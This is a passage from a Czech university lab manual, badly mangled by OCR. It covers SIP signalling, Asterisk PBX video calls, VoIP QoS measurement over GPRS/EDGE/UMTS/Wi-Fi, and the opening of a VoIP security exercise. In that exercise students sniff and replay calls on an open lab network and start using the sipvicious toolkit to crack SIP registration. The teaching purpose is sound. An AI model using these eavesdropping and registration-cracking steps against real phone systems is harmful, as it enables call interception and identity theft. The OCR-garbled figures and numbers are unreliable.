e PRACK - pfedbézné ACK,

e NOTIFY - notifikuje ucastnika ohledn¢ nové udalosti,

e INFO - posilani mezi-relaénich informaci, které neovliviuji stav relace,
e MESSAGE - pienos IM zprav pomoci SIP,

SIP kody odpovédi

e Docasné, informacni (1XX) — zadost byla pfijata a bude spravovana,

o Uspéch (2XX) — zadost byla piijata a usp&sné vykonana,

e Presmérovani (3XX) — dalSi akce se musi vykonat k dokonéeni zadosti,

e Chyba na strané klienta (4XX) — Spatna syntaxe nebo server nedokaze zprévu
zpracovat,

e Chyba na stran¢ serveru (5XX) — dobra syntaxe a server nedoké&Ze zpravu zpracovat,

e Globalni chyba (6XX) — Zadny server neumi zpravu zpracovat.

Priklad SIP signalizace je znazornén na obr 5.6. Dilezitou vlastnosti SIP signalizace je
skute¢nost, ze PBX server slouzi jenom k navazani relace mezi koncovymi stanicemi.
Samotny pfenos audio nebo video dat je typu point-to-point mezi koncovymi zafizenimi. [20]

PBX Server
IP SIT VolP sit IP SIT
[[ [[
Volajici strana < 100 Trying Volana strana
100 Trying
_SIPa.SDP 100 Ringing 100 Ringing
signalizace oK
200 OK 1o

—

Pfenos UDP < >
dat

L J ’ L J

Obr. 5.6: Priklad vymény SIP signalizace pii navazovani spojeni
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Ukol 5 — Analyza priib&hu registrace stanice

Odregistrujte jeden telefonni pfistroj od Asterisk PBX ustfedny (naptiklad Yealink
pomoci Enable Line). Zapnéte analyzator Wireshark ptikazem sudo wireshark z terminélu
notebooku (heslo student) a provedte zachytavani ramct na bezdratovém rozhrani monQ
(monitorovaci rozhrani). Nastavte filtr odchytavani jenom na SIP zpravy. Opétovné
zaregistrujte telefonni pfistroj do Ustfedny a odchyt’te vyménu SIP zprav pfi registraci.

Server na zpravu REGISTER automaticky odpovi stanici zpravou 401 Unauthorized.
Hlavicka tohoto rdmce obsahuje pole WWW-Authenticate (obr. 5.7), podobné jako u
protokolu HTTP slouZi k autentizaci klienta. DtleZitou polozkou je parametr nonce. Jedna se
o nahodny fetézec, ktery klient vyuzije pro vytvoieni hashe hesla. Pro kazdou stanici a relaci
server vygeneruje jiny nonce, tim padem neni mozZné vyuZit odposlech komunikace pro
podvrZeni registrace. Ze ziskanych a znamych parametr vypocte klient funkci mdS odpovéd,
na zaklad¢ které mu je umoznéna registrace.

¥ WwWwW-Authenticate: Digest algorithm=MD5, realm="asterisk", nonce="7895f79a"
Authentication Scheme: Digest
Algorithm: MD5
Realm: "asterisk"
| Nonce Value: "7095f79a"|

Obr. 5.7: Pole WWW-Authenticate v hlavi¢ce SIP zpravy

Vsimnéte si zpradvy OPTIONS. Opakuji se kazdych 60 s pro ucet 100 a kazdych 30
s pro ucet 200. Tyto zpravy posila PBX server jednotlivym klientiim, ¢imZ si ovétuje jejich
dostupnost (parametr Qualify konfigurovany v piedchozi uloze). Z téchto zprav je mozné
odcitat polozku User-Agent serveru, vysvétlenou drive.

Ukol 6 — Analyza pi‘enosu signalizaénich zprav

Opét spust'te zachytavani analyzatorem Wireshark na monitorovacim rozhrani mon0.
Realizujte hovor mezi koncovymi stanicemi 100 a 200, nasledné hovor ukoncete. V menu
analyzatoru vyberte polozku Telephony - > VoIP Calls, oznaéte uskute¢néné SIP relace
(klavesa crtl) a vyberte poloZzku Graph. Analyzujte vyménu SIP zprdv a spojeni samotného
RTP toku. Vysledek porovnejte s teoretickym piedpokladem znazornénym na obr. 5.6.

Jak je vidét, RTP pienos audia probiha pifimo mezi koncovymi stanicemi. Zpravy
SDP, obsazeny v datové ¢asti SIP zprav, slouzi pro dojednani parametrtt komunikace. Jak jiz
bylo zminéno, pii zachytavani ramct je nutné brat v Uvahu, Ze rozhrani mon0 se nestard o
zahazovani duplicitnich ramcii. Duplicita ramct je zptisobena i odrazem v bezdratové siti.

Odpovézte na otazky. Pro nalezeni odpovédi simulujte danou situaci.

Napiste SIP adresu u¢tu sipuser, ktery je registrovany na ustiedné, jejiz adresa je
82.143.28.123.

Kterym aplikacnim protokoliim se protokol SIP svou strukturou podoba?
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Jaky unikatni parametr, poskytnuty serverem slouzi klientovi pro vytvoieni hashe hesla a
v které zpravé se posila?

Jaky ¢iselny kod oznacuje zpravy informacéniho charakteru?

Jaky typ zadosti posila server klientim, kdyz testuje jejich dostupnost?
Jaky je ¢iselny kod pro zamitnuti hovoru z diivodu obsazeni linky?
Jaky je ¢iselny kod pro ozndmeni zaneprazdnéni (busy) stanice?

Kde jsou ptenaseny zpravy SDP?

V jednoduchosti nacrtnéte vymeénu zprav pii ukoncovani spojeni.
5.4.3 Realizace videohovoru

Asterisk PBX obsahuje ruzné mechanizmy pro zachazeni s videem (nahrévani, video
IVR menu, piehrani videa, video odkazova schranka). Podporuje video kodeky H.261, H.263,
H.263p a H.264. Pro vSeobecnou podporu videa staci ptidat do konfiguracniho souboru
sip.conf fadek videosupport=yes a povolit Zadané kodeky. Vhodné je volit jenom jeden kodek
(nejcastéji H.263). Vyhneme se tak vyjednavani mezi koncovymi stanicemi, protoze Asterisk
PBX je v tomto sméru problematicky.

Ukol 7 — Uskute&néni videohovoru

Upravte konfigura¢ni soubor sip.conf tak, aby bylo mozné realizovat videohovor mezi
stanicemi. Povolte kodek H.263 a ihned za nim kodek H.264. Inicializujte videohovor mezi
telefony Yealink a zachytte signalizaci analyzatorem. Realizovany scénai odpovida obr. 5.8.
Vysledek porovnejte s piedchozi tlohou.
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Obr. 5.8: Zapojeni scénaie pro realizaci videohovoru

Jako posledni je v sip.conf uvedeny video kodek H.264, proto ma nejvyssi prioritu.
Z vymény dat je zfejmé, Ze ustiedna nabizi volané strané ve zpravé SDP vyuziti kodeku
H.264. Volana strana zna své schopnosti a nabizeny kodek zamitne zpravou, v které je uveden
preferovany kodek, v naSem ptipadé H.263. Pfi pribéhu hovoru je na telefonu Yealink
pomoci polozky More Statistics mozné zkontrolovat pouzity kodek. Ovéite.

5.5 Mobilni datové sité

GSM (Global System for Mobile Communication) je nejrozsitengj$im standardem pro
mobilni telefonni systémy. Je tvofeny sadou technologii pro pifenos dat, pocinajic
nejmodernéjsi HSPA (High Speed Packet Access), nebo starSimi technologiemi UTMS
(Universal Mobile Telecommunication System), EDGE (Enhanced Data Rates for GSM
Evolution), GPRS (General Packet Radio Service).

5.5.1 Sité druhé generace (2G)

Sit¢ 2G jsou na rozdil od prvni generace digitalizované. UmoZnuji pfenos hlasu a
malého mnoZstvi dat, napiiklad SMS (Short Message Service) nebo MMS (Multimedia
Message Service) zprav. Maximalni datova rychlost je jenom 9,6kbit/s, proto byla technologie
GSM rozsifena o technologii GPRS, ktera zlepSuje datovou propustnost. Pti vyuziti kddovaci
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schématu CS-4 a cCtyfech Casovych sloti pro smér downlink, je teoreticka rychlost GPRS
rovna 83,5kbit/s. V praxi se pohybuje kolem 40kbit/s. Latence je ale velmi vysoka, typicky
600-700ms. Sit¢ GPRS jsou oznafovany jako sit¢ 2,5G. Dalsi technologii pro pfenos dat je
technologie EDGE. Teoreticka propustnost je 473,6kbit/s s latenci mensi nez 150ms. Z toho
plyne ctyindsobné vyssi rychlost nez u GPRS. Vyuziva devét modula¢nich a kédovacich
schémat (MCS-1 aZz MCS-9), pfi¢emz technologie GPRS jenom &tyti (CS-1 az CS-4). Sité
EDGE jsou oznacovany jako sité 2,75G. [3]

5.5.2 Sité treti generace (3G)

Hlavni 3G standard v Evropé je UMTS. Vyuziva pfistupovou metodu W-CDMA
(Wideband Code Division Multiple Access). Technologie pracuje v 5MHz pasmech pro
pfenos hlasu a dat spfenosovymi rychlostmi 384kbit/s az 2Mbit/s. V Ceské republice
poskytuji mobilni operatoti také technologii HSDPA (High Speed Downlink Packet Access)
umoziujici teoreticky dosahnout pifenosoveé rychlosti az do 14,4Mbit/s s latenci kolem 100ms
aZ 130ms. Podporovana maximalni rychlost u operatori Vodafone a O2 Telefonica je zatim
7,2Mbit/s. [3]

5.5.3 Bezdratové sité 802.11

Standard 802.11 definuje bezdratové sit€ pro vyuziti Vv pfistupovych castech siti.
Nejrozsitengjsi protokol 802.11g ma teoretickou rychlost 54Mbit/s. Z dtivodu vyuziti pasma
2,4GHz, které je znacn¢ piehusténé dosahuje rychlost v praxi kolem 22Mbit/s. V uloze pii
méfeni QoS bude mit tedy vétsi vplyv na parametry prenosu pateini sit’ nez piistupova
bezdratova sit. Tento teoreticky predpoklad ovétime. [12]

5.5.4 Kvalita sluzeb (Quality of Service) ve VoIP

Pii praktické integraci sluzeb do IP siti je definovani a zavedeni QoS nezbytnosti.
Vseobecné je pro IP sité mozné definovat parametry, na zakladé kterych mozno vyjadrit
kvalitu dane sluzby:

e subjektivni a objektivni testovani,

e kvalita hlasu,

e charakteristika pouzitého kodeku,

e pravdépodobnost blokovani,

e ztratovost,

e zpozdéni,

e zména zpozdéni, atd.

V klasickych telekomunikacnich sitich je kvalita sluzby primarnim cilem. V sitich
S pfenosem paketil je vSak primarnim cilem poskytnuti dané sluzby, protoZe neni garantované

doruceni paketd, jejich spravné potadi, zpozdéni, atd. VSeobecny model QoS pro VolIP sité je
znazornén na obr. 5.9. [13]
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Obr. 5.9: V§eobecny model QoS pro VolIP sité

Sluzby pracujici v redlném case musi mit garantovany urcité parametry, vyrazné
zavislé na cCasovych charakteristikich komunikace. Ptikladem jsou, ptfenos hlasu, videa,
interaktivni sluzby. Uzivatel mlize mit pfitom specifické pozadavky na sluzbu (video o
urcitém rozliSeni, zvuk o urcité kvalit¢). Kazdad vrstva modelu TCP/IP zavadi do sluzby
urcitou miru znehodnoceni. Hodnoceni kvality sluzby je ziskané na zakladé subjektivniho
testovani. [13]

5.5.4.1 Kvantovy Sum

Vznika pti zdrojovém kodovani — vzorkovani, kvantovani. Jestli je splnén Nyquistov
teorém o velkosti vzorkovaciho kmitoc¢tu (fvz > 2 * fmax), mtze byt ptivodni analogovy signal
na ptijimaci stran¢ ziskan z diskrétniho vzorkovaného signalu se zanedbateln¢ malou chybou.

5.5.4.2 Zpozdéni

Kriticky parametr pfi real-time aplikacich. Jednosmérné zpozdéni je ¢asova doba od
vzniku podnétu (hlas) po jeho pfijati na protilehlé strang. Zpozdéni zavadi do systému okrem
snizeni kvality také echo ozvény.
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Hlavni zdroje zpozdéni:

e zdrojove kodovani — A/D a D/A ptevod, ramcové zpozdéni,
e zpozdéni zplisobené tvorbou paketu,

e kanalové kodovani — korekce chyb, prokladani,

e zpozdéni ve vyrovnavajici paméti pro vyrovnani kolisani,

e zpozdéni zdrZzenim ve front¢,

e zpozdéni samotnym $ifenim signalu.

Podle pozadavkl organizace ITU-T je akceptovatelné zpozdéni pro vétSinu aplikaci do
150ms. Pro mezindrodni spojeni je definovdno vrozmezi 150ms az 400ms. Za
neakceptovatelné je pokladano zpozdéni ptresahujici 400ms. [13] [21]

5.5.4.3 Kolisani zpozdéni — jitter

Jitter vyjadiuje zmény zpozdéni pienosu jednotlivych paketd. Odstranuji se pouzitim
vyrovnavajicich paméti. Velkost vyrovnavajici paméti se musi volit takova, aby nenastal
piipad preteceni a zahazovani paketi. Kolisani zpozdéni do 20ms je brano jako velmi dobré.
V rozmezi 20ms az 50ms je kolisani jesté akceptovatelné, ale nad 50ms nikoli. [13] [21]

5.5.4.4 Ztratovost

Ztratovost paketi je definovana jako pomér ztracenych paketi k celkovému poctu
prenasenych pakett. Pro signaly jako hlas nebo video, vede ztrata pakett k snizovani hlasove
srozumitelnosti nebo snizuje kvalitu video signalu. Mezi hlavni zdroje zpusobujici ztratu
paketl patfi:

e bitova chybovost — $um na pfenosovych mediich,
e kolize pakett,
e zaplnéni front ve smérovacich, atd.

Ztratovost do 0,5% je velmi dobra, v rozmezi od 0,5% do 1,5% je akceptovatelna, nad
1,5% je jiz neakceptovatelnd. Algoritmus PLC (Packet Loss Concealment) slouzi k
maskovéni ztracenych paketti. Zopakuje se naptiklad ptedchozi sekvence, doplni se nuly nebo
se dopocitaji chybéjici vzorky. [13] [21]

5.5.4.5 Subjektivni testovani

Subjektivni hledisko hodnoceni kvality sluzeb je dilezitou metrikou pro posouzeni
kvality poskytované sluzby. Je definovana pomoci

e parametru MOS (Mean Opinion Score),
e modelu E.
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MOS (Mean Opinion Score)

Zé&kladni ukazovatel pro hodnoceni kvality sluzby ze strany uZivatele. Kazda testovana
sluzba je ohodnocena jednim bodem ze stupnice hodnoceni. Hodnoceni 0 pro nejhorsi kvalitu,
hodnoceni 5 pro nejlepsi kvalitu.

(Nv*5)+(Nd*4)+(Ndos*3)+(Ns*2)+(Nn*1)

MOS =
N

(5.1)

kde, Ny je pocet subjekti, které ohodnotili sluzbu danym hodnocenim a N je celkovy pocet
subjektt.

E - model

Ptedstavuje vypocetni model, ktery muze byt ndhradou za subjektivni testovani MOS.
Pti pouziti modelu E jsou ucinky zpozdéni, zmény zpozdéni, ztraty paketd, atd., zahrnuty do
objektivniho parametru R (0 - 100). Vypocet parametru R

R=Ry—I,—1;—1,+A[-], (5.2)
kde R, — pom¢r signal-Sum,
Is — soucet vSech znehodnoceni,
lg — znehodnoceni zpozdénim, ozvénami,
le — znehodnoceni vplyvem kodeku,
A — zvyhodnujici faktor. [22]

Pfevod mezi veli¢inou MOS a R faktorem
MOS =1+ 0,035R + R(R —60)(100 — R) 7 * 107° (5.3)

Pfevodni tabulka, mezi veli¢inou MOS a R faktorem:

MOS R- faktor Kvalita z pohledu uzivatele
4,3-5,0 90 - 100 Vyborna
4,0-4,3 80 -90 Dobra
3,6-4,0 70 - 80 Dobra pro nékteré uzivatele
3,1-3,6 60 - 70 Neuspokojiva pro mnoho uzivatelii
26-31 50 - 60 Neuspokopvai_skoro pro viechny

uzivatele

10-2,6 0-50 Neuspokojiva

Tab. 5.1: Prevodni tabulka mezi veli¢inou MOS a R faktorem

v

Podrobngjsi informace o problematice E-modelu v literatute [22].
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Ukol 8 — Pfiprava méfeni

Pro méfeni parametr je vyuzit pfistroj Trend Multiplo, ktery je specializovan pro
méfeni QoS parametri. Obsahuje take IP telefon, tedy je mozné ho vyuzit i jako koncovy
prvek sité. Parametry komunikace budou pro kontrolu méteny i analyzatorem Wireshark.
Telefon Nokia umoznuje softwarové piepinat mezi mobilnimi datovymi sitémi GPRS/EDGE
a UMTS/HSDPA. Pro rozliSeni technologii GPRS a EDGE bude vyuZita speciélni SIM karta
umoznujici pristup na BTS umistnénou v ramci laboratornich prostort. Technologie EDGE a
UMTS/HSDPA budou méfeny na SIM karté mobilniho operatora. Pfepinani mezi UMTS a
HSDPA neni mozné, aktualni vyuzivana technologie zavisi od pokryti, coz je indikovano na
displeji telefonu. 3G pro UMTS sit’ a 3,5G pro HSDPA sit’. Vlozte do telefonu Nokia SIM
kartu s podporou GPRS a pfipojte se do sité Celularni data (popis ovladani popisuje kapitola
3).

Ukol 9 — Nastaveni klienti a ustiredny

Schéma zapojeni odpovida obr. 5.10. Pocita¢ s ustfednou piipojte do bezdratové sité
VUTBRNO. Je nutné, aby ustfedna méla ptidélenou vetejni IP adresu, jinak nebude mozné se
na server registrovat z mobilni sité.

Nokia N900 - KLAPKA 500

IP pro GRPS : 147.229.151.31 Ustfedna Asterisk PBX
IP: 147.229.64.123

IP pro 2,75G a 3G sité: 46.135.89.4

GPRS - EDGE -
UMTS/HSPA - VUT WIFI
WIFI \ g
RTP PRENOS DAT YETE

=
N |
\ \ Analyzator

. TREND
IP:192.168.110.140 & _g) KLAPKA 600

Obr. 5.10: Schéma zapojeni pro méieni QoS parametri
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Telefon Nokia N900 a analyzator TREND budou vyuzity jako SIP klienti. Na ustfedné
Asterisk PBX jsou jiz nakonfigurovany ucty 500 a 600 se stejnym heslem 1234. Na telefonu
Nokia se dostaiite pies Hlavni menu - > Nastaveni - > Ucty VoIP a IM do menu vytvafeni
VoIP ucti. Vyberte polozku Novy a typ uctu SIP. Adresu zadejte v SIP formétu
(500@ipadresa_ustredny). Nasledné vyberte polozku Prihlasit se.

Pro ovladani analyzatoru Trend pouZité stylus. Po zapnuti vyberte polozku VoIP a
nasledné IP-Phone. V zéloZce Setup nastavte potiebné parametry pro ucet 600 (Voip Number,
Registration Server, User a Password). Stiskem tlacitka Play probéhne registrace klienta.
Uspesnost registrace je mozné zjistit ze zalozky Status, kde ikona Register bude svitit
Vv piipadé tspéchu nazeleno. V zaloZce Status pomoci Sipek piejdéte na stranku RTP QoS
Results. Zde budou zobrazeny veskeré parametry pienosu (ztratovost, zpozdéni, jitter).

Ukol 10 — MéFeni pienosovych rychlosti a odezvy v sitich GPRS, EDGE, UTMS/HSDPA
a Wi-Fi

Pfi vyuziti specialni SIM karty jste ptipojeny v siti GPRS. Z menu telefonu Nokia
spustte aplikaci Speedy a odméite rychlost v siti. Vysledna rychlost je zobrazena v KB/s.
Mg¢feni realizujte minimalné 5x pro divéryhodnéjsi vysledek. Spust'te konzolu Debian chroot
a ptikazem ping na IP adresu Gstfedny zméite odezvu v siti. Odeslete minimaln¢ 40 paketd.
Méfeni opakujte také pro sit¢ EDGE, UMTS/HSDPA a Wi-Fi (SSID MKPM). Vysledni
hodnoty zapiste do tabulky. Vysledky méfeni zAvisi od aktudlni vytizenosti vefejnych
datovych siti a mizou se v riznych ¢astech dne vyrazné lisit.

Teoreticka rvchlost Teoreticka Namérena rychlost Namérena
Typ sité ary hodnota odezvy | [kbit/s] (primér 5 | hodnota odezvy
[Kbit/s] o
[ms] méreni) [ms]

GPRS 83,5 600 - 700

EDGE 473,6 150
UMTS/HSDPA 2048/ 7372,8 60 - 120

Wi-Fi nad 10240 50

Tab. 5.2: Porovnani teoretickych a namérenych prenosovych rychlosti a odezev

Ukol 11 - Mé&Feni QoS parametrii v mobilnich datovych sitich

Ptikazem sudo wireshark spustte na PC analyzator Wireshark. Na bezdratovém
rozhrani (wlanO) realizujte odchytavani ramcu. Nastavte filtr jenom na RTP zpravy.
Z telefonu Nokia (klapka 500) zavolejte na analyzator Trend (klapka 600). S telefonem se
vzdalte od analyzatoru Trend z divodu omezeni vlivu ozvény na parametry pienosu.
Realizujte hovor dlouhy minimaln¢ jednu minutu.

Po skonceni hovoru =zastavte zachytavani analyzatorem. V menu Wiresharku,
Telephony - > RTP - > Show All Streams, oznaéte zachyceny RTP pifenos z GPRS sité na
ustfednu a potvrd'te tlacitkem Analyze. Porovnejte hodnoty zméteny analyzatory Trend a
Wireshark. Zaznamenejte si primérnou hodnotu kolisani zpozdéni (mean jitter), hodnotu
zpozdéni (delay) a ztratovost (lost packets). Analyzator Trend méti hodnotu zpozdéni jenom
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v jednom sméru, kdezto Wireshark v obou smérech. Ve Wiresharku vyberte tlac¢itko Graph,
nastavte vhodné rozliseni os a zobrazte rozlozeni zpozdéni a zmény zpozdéni. Ze zobrazenych
hodnot urcete stiednou hodnotu zpozdéni a porovnejte s vysledkem analyzatoru Trend.

Z naméfenych hodnot vyvodte zavér ohledné vyuzitelnosti technologie VolP v dané
siti. Po zapsani hodnot ohodnot'te podle vyse uvedené tabulky kvalitu hovoru, pomoci MOS
stupnice a zapiSte jeji hodnotu. V analyzatoru Trend, chod’te do Hlavniho menu pomoci
ikonky dvefi umisténé v levé spodni ¢asti. Vyberte polozku VoIP QoS a pomoci Sipek se
dostaiite na zalozku QoS Summary. Odc¢itejte hodnotu MOS ve sméru downlink a porovnejte
s Vami stanovenou hodnotou. Vysledek zapiste. Obdobné realizujte méteni pro sit¢ EDGE,
UMTS/HSDPA a Wi-Fi. S namétenych hodnot zastavte tabulky.

Ukol 12 — Vymazani konfiguraé¢nich soubori

Vymazte jenom Vami provedené zmény v konfiguracnich souborech sip.conf a
extensions.conf na telefonu Nokia N900 a uved’te pracovisté do ptivodniho stavu.

68



6 Bezpeénost VolP technologie

Cilem tulohy je sezndmeni studentl s bezpecnosti VoIP technologie. Probéhne analyza
bezpecnosti protokolu SIP (Session Initation Protocol) a simulace utokli (odposlech, DoS,
utok hrubou silou). Posledni ¢ast Glohy se vénuje zabezpeceni SIP signalizace v Asterisk PBX
pomoci TLS (Transport Layer Security).

6.1 Bezpecnost ve VolP

Na bezpecénost IP telefonie je mozné nahlédnout z riznych uhlid. Technologie VoIP je
kvili své rozsitenosti Castym tercem utok, které 1ze nasledovné kategorizovat

e narueni sluzby — pokusy o naruseni, pferuseni sluzby. Automatické volani pomoci
robota, Spam over Internet Telephony (SPIT), atd.,

e analyza provozu — cilem je ziskat dostatek informaci o sluzb¢,

o kréadeZ identity — kradeZ identity za uc¢elem neopravnéného vyuzivani sluzeb,

e podvody — snaha zneuZit VoIP pro finan¢ni zisk.

Mnoho VolIP feSeni nepodporuje Sifrovani, i kdyz je implementace zabezpeceni jednodusi
nez u klasickych telefonnich linek. Vysledkem je relativné lehky odposlech hovorti nebo
dokonce zména jejiho obsahu. Paketovym analyzatorem je mozné odchytit VoIP hovor na
nezabezpecené siti. Bezpe€nostni politika riznych organizaci fesi tento problém na linkové a
fyzické vrstv€. Analyzator v promiskuitnim médu odchytava vSechen provoz na lince. Je-li
vsak vyuzit pfepinad, sit’ je rozdélena na kolizni domény a provoz je smérovan na porty podle
MAC adres. Tedy analyzator odchytava na lince jen data, ktera jsou uréena pro n&j. Utoénik
vSak bez problému dokaze pomoci Utoku tzv. ARP (Address Resolution Protocol) spoofing
tuto ptrekazku obejit. Bezpecnost klesa, je-li vyuzit opakovac. Ten odesila data na vSechny
porty, tedy neni problém odchytit provoz uréeny pro jiné stanice. Ur€itym problémem je
vyuziti bezdratového ptipojeni, kde vSechny stanice sdileji médium. Skutecné zabezpeceni
VolIP sluzby tedy vyZaduje Sifrovani dat a kryptografickou autentizaci, které vSak nejsou
masivné podporovany na zakaznické arovni.

Tyto problémy se vyskytuji v ptistupové c&asti sité. V pateini siti jsou zavedena
bezpecnosti politika, znemoziujici odchyt pakett. Odposlech optického vedeni je téméft
nemozny bez jeho detekce. [14]

6.1.1 NaruSeni sluzby

Utoky ¢asto vedou na zranitelné mista VoIP infrastruktury. Nejrozsitengjsi typ atoku
je tzv. DoS (Denial of Service) utok. Jeho cilem je odstaveni sluzeb a zdroji od jejich
potencialnich uzivatelt. Tento typ utoku je pfedev§im znam z datovych siti. Ve VolP
infrastruktufe je vSak obzvlast’ ucinny, kvuli citlivosti sluzby na parametry sit¢ (Real-Time
ptenos). DoS utok mize zplsobit i preruseni existujiciho hovoru. Mezi dal$i DoS utoky
napiiklad patii reset TLS spojeni, zména QoS (Quality of Service) parametrti, vkladani IP
pakett, zaplava fidicimi pakety, zahlceni sité nebo koncovou stanici pakety a podobné. [14]
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6.1.2 Utoky na sluzbu

Tento typ utoku se snazi o zneuziti konkrétni sluzby, naptiklad hlasové posty. Patii
sem také zneuziti identity volajiciho (Caller ID) nebo titok na Proxy entitu. Pti ovladnuti této
entity je mozné podle pozadavki utocnika smérovat vSechny hovory. Do kategorie utoki na
sluzbu déle patii naptiklad utoky na diveérnost komunikace (zeslabeni zabezpeceni), na
nouzové sluzby (smérovani jinam), loka¢ni a prezenéni sluzby (osobni tdaje) a podobné. [14]

6.1.3 Analyza provozu

Odposlech mtze byt aktivni nebo pasivni. Zdkladnim prvkem zabezpeceni proti
odposlechu je pouZiti Sifrovani. Analyza provozu zahrnuje

e samotnou analyzu provozu,
e odposlech signalizace,
e odposlech medii.

Pasivni odposlech je mozné aplikovat napiiklad v sitich Wi-Fi, které jsou zaloZzeny na
skupinovém pfistupu. Jestli komunikace neni Sifrovana, neni problém komunikaci odchytit
jenom za pomoci protokolového analyzatoru Wireshark. V piipadé aktivniho odposlechu
Vv pfepinanych sitich je nutné vyuzit chovani sitovych protokold, bézné tzv. (ARP spoofing).
[14]

6.1.4 Kradez identity

Udaje potiebné pro krddeZ nebo maskovani identity mtize uto¢nik ziskat napiiklad
ukradnutim registrace, zménou signalizace pii navazovani relace, nebo ptimo kradezi
koncového zatizeni.

6.2 Zranitelnosti protokolu SIP

SIP protokol, jako kazdy jiny protokol je zranitelny. Samotny protokol obsahuje nékolik
prvkil pro zabezpeceni, jejich vyuziti je vSak nepovinné, coz v kone¢ném diisledku mtze vést
k problémtim s kompatibilitou. V souvislosti s bezpecnosti protokolu SIP jsou znamy hlavné
nasledujici typy utoku:

e analyza provozu,

e prolomeni registrace,

e privlastnéni identity serveru,
e manipulace se zpravou,

e manipulace s relaci,

e DosS utoky. [14]

Tuéné vyznaené Ttoky si vyzkouSime v praxi. V nasem piipadé budeme pro
jednoduchost simulovat Utoky v bezdratové nezabezpecené siti. K odposlechu a realizaci
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utoku bude vyuzit pocitac s pripravenym operacnim systémem Ubuntu. Schéma zapojeni pro
vSechny scénafe je na obr. 6.1.

Pocitac + Asterisk

IP: 192.168.110.184

\sup

HTC Bezdratovy
Hotspot

f Y
L

Bezdratovy telefon 1 Utocnik Bezdratovy telefon 2
KLAPKA 500 IP: 192.168.110.181 KLAPKA 600

Obr. 6.1: Schéma zapojeni pracovisté pro realizaci ttoki na ustiednu

Ukol 1 — Nastaveni bezdratového pristupového bodu na telefonu HTC

Moderni telefonni piistroj HTC Desire umoziuje vytvotit bezdratovou sit’ v modu
infrastruktura, s podporou protokolti 802.11b a 802.11g. Tym padem je mozné vyuZzit telefon
jako bezdratovy smérova¢, ktery rovnéZ podporuje protokol DHCP (Dynamic Host
Configuration Protocol). Protokoly 802.11b a 802.11g pracuji v pasmu 2,4GHz. Pied
vytvofenim bezdratové sité je potfebné analyzovat vyuziti pasma a kanalii, kvili zamezeni
ruSeni signalu. Pro analyzu vyuZijte jednoduchou aplikaci Wifi Analyzer. Spust'te aplikaci
zmenu telefonu. Vystup aplikace by mél byt podobny obr. 6.2. Otevicte nastaveni
bezdratového smérovac¢e v menu telefonu, Nastaveni - > Bezdrdtové pripojeni a sité - >
Nastaveni prenosného Wi-Fi hotspotu. Tlac¢itkem Menu vyvolejte kontextovou nabidku a
bezdratového rozhrani. Vrat'te se do nastaveni smérovace, ovéite nazev sité htc a vypnuti
zabezpe€eni. Bezdratovou sit’ spust'te. Pfipojte pocitac, notebook a oba telefony Cisco do
vytvoreneé site.
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Obr. 6.2: Stav bezdratoveho rozhrani v pasmu 2,4 GHz (PA-427)

Ukol 2 — Ovéfeni konfigurace

Ovéite spravnost konfigurace ustfedny Asterisk nainstalované na PC. V okné
terminalu spustte ustfednu piikazem sudo asterisk —rvvwv (root heslo student). Po naéteni
zadejte piikaz sip show peers. Jestli je vystup konzole identicky sobr. 6.3, je nutné
nakonfigurovat SIP ¢ty na bezdratovych telefonech Cisco. Ugty 700 a 800 budou vyuzity
pozdéji.

Name/username Host Dyn Nat ACL Port
s588/508 (Unspecified) D N 5860
600,/600 (Unspecified) D N 5068
708/708 (Unspecified) D N 5060
gee/lozef (Unspecified) D N 5060

Obr. 6.3: Vypis prikazu sip show peers
Nastaveni pro telefony CISCO realizujte podle kapitoly 5.

6.2.1 Pasivni analyza provozu

Vzhledem k nezabezpeceni protokolu SIP sta¢i pro analyzu provozu ziskat piistup do
sit¢ a mit k dispozici paketovy analyzator. Pfi analyze provozu musi byt stanice uto¢nika v
tzv. monitor modu. V tomto modu bezdratova sitova karta vypne filtr MAC adres. Tim
padem bude pfijimat vSechny rdmce na bezdratovém rozhrani. Popsanou situaci znazornuje
obr. 6.4. Kromé zachytavani zprav signalizace je mozné analyzovat pfimo i data, ktera jsou
pfendsena mezi koncovymi stanicemi.
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Utoénik

Obr. 6.4: Siova karta v monitorovacim médu

Ukol 2 — Piepnuti stanice do monitorovaciho médu
Postup pfidani monitorovaciho rozhrani je uvedeny v kapitole 5.
Ukol 3 - Analyza signalizace a pFenosu dat

Spustte Wireshark z konzole pocitace piikazem sudo wireshark. Spust'te zachytavani
ramcl na bezdratové siti (rozhrani monQ) a realizujte hovor mezi stanicemi CISCO. Po
ptiblizné 10 sekundach hovor ukoncéete a zastavte zachytavani. V menu Telephony — VolIP
Calls, vyberte odchycenou relaci. Tlac¢itkem Graph zobrazte odchycenou signalizaci. Jak je
vidét, byly odchyceny veskerd data o probihajici signalizaci, ¢isla ucti, IP adresy stanici, atd.
Tyto informace budou vyuzity v dalsi casti ulohy, proto si je poznamenejte. Vypnéte okno
signalizace a kliknutim na tlacitko Player si pichrajte komunikaci mezi stanicemi. V uloze
bylo ovéfeno, ze samotné protokoly SIP a RTP (Real-Time Transport Protocol) v zakladni
verzi neposkytuji Zadnou Groven zabezpeceni proti odposlechu.

6.2.2 Prolomeniregistrace

V nasledujicim tkolu bude piedvedena jednoduchost kradeZe identity uzivatele pii
slab&é zabezpecené pobockové ustfedné Asterisk. Jedna se o nejleh¢i zplisob pro ukradnuti
identity. Vyuziva chyby navrhu protokolu SIP. Ilustraéni obr. 6.5 popisuje situaci, kdy
utoénik zaplavuje sit’ nebo konkrétni prvek podvrzenymi zadostmi a ¢eka na odpovéd.
K zaplavé pakett bude vyuzita sada skripti z balicku sipvicious [15]. Primarnim tucelem
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tohoto nastroje je testovani bezpecnosti SIP systému. Stejné jako administratoii ho vsak
mohou vyuzit i Gto¢nici.

PBX SERVER

()
/ SIGNALIZACE \

E
| B N N
EEE . .
EEE o 8
4 LG
PRENOS DAT
IP Telefon IP Telefon

1. Podvrhnuta zadost do sité
(zaplava)
nebo na konkrétni prvek

—-_—— = = =
A
|
—

2. Odpovéd ze sité

Utoénik

Obr. 6.5: Zasilani podvrzenych zprav uto¢nikem
Ukol 4 — Nalezeni stanic v siti

Prvnim krokem je pfistup do sité, ktery je pro jednoduchost simulovan
nezabezpecenou bezdratovou siti. Cilem je prolomeni registrace, proto je nutné nejdiiv
identifikovat pobockové ustfedny v napadené siti. V okné terminalu se ptikazem cd
/home/student/Desktop/sipvicious piepnete do slozky sipvicious. SloZka obsahuje veSkeré
skripty potiebné pro prolomeni registrace. Pied samotnym utokem zapnéte zachytavani
analyzéatorem Wireshark (rozhrani mon0) a nastavte filtr jenom na SIP zpravy. Pro nalezeni
